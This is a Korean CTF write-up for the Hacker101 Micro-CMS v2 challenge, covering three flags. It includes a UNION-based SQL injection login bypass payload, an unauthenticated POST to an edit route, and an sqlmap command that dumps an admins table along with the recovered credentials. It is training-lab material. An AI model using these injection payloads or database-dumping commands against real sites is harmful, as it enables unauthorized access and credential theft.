Hacker101 CTF Writeup - Micro-CMS v2
Hacker101 CTF Micro CMS v2 Writeup입니다!
Micro-CMS v2
Hacker101 CTF 에 있는 Micro-CMS v2
문제의 Writeup을 써볼까합니다. Flag를 찾는 과정을 작성해보려고하니, 참고용으로만 봐주세요!
Flag0
첫번째 Flag는 간단하게 SQL Injection 취약점을 이용하여, 로그인하여 알아낼 수 있다.
0x00 Try SQLi
Create a new page
링크를 눌러, 로그인 페이지로 이동하여아한다.다음, Username에 '
(single quote)을 넣어 SQLi 를 시도해본다. 그러면 다음과 같은 Traceback 메세지를 만나볼 수 있다.
Traceback (most recent call last):
File "./main.py", line 145, in do_login
if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
self.errorhandler(self, exc, value)
File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
raise errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1")
그러면 다음과 같이 SQL문 구조를 볼 수 있다.
0x01 Login
Form 에 다음과 같이 작성해준다.
Username: ' UNION SELECT 'coolwonder' AS password#
Password: coolwonder
다음과 같은 데이터를 쓴다면 뒤에서는 다음과 같은 SQL문이 쿼리된다고 생각해볼 수 있다!
SELECT password FROM admins WHERE username='' UNION SELECT 'coolwonder' AS password#
그러면 정상적으로 로그인된 모습을 볼 수 있다!
0x02 View Page
글 리스트에서 가장 수상하게 생긴 Private Page
를 클릭해보자.
Flag1
그 다음의 Flag는 생각보다 어렵지 않게 구할 수 있다.
0x00 Stay Logout
먼저 로그아웃 되어있어야합니다!
0x01 Edit Page
수정 라우트를 만지다가 발견했습니다!
POST http://ctf/xxxxxxx/page/edit/1
위와 같이 HTTP 요청을 보내시면 Flag값을 반환합니다!
Flag2
마지막 Flag는 찾는데 굉장히 어려웠습니다.
sqlmap 이라는 툴을 이용했습니다.
0x00 sqldump
python sqlmap.py -u "http://35.227.24.107/4be86410fc/login" --data "username=admin&password=admin" --regexp "Invalid password" --dump
Returning Password Info
Database: level2
Table: admins
[1 entry]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1 | kizzie | sharlene |
+----+----------+----------+
0x01 Login
반환되는 유저네임과 비밀번호를 이용하여 로그인하시면 마지막 Flag를 확인하실 수 있습니다!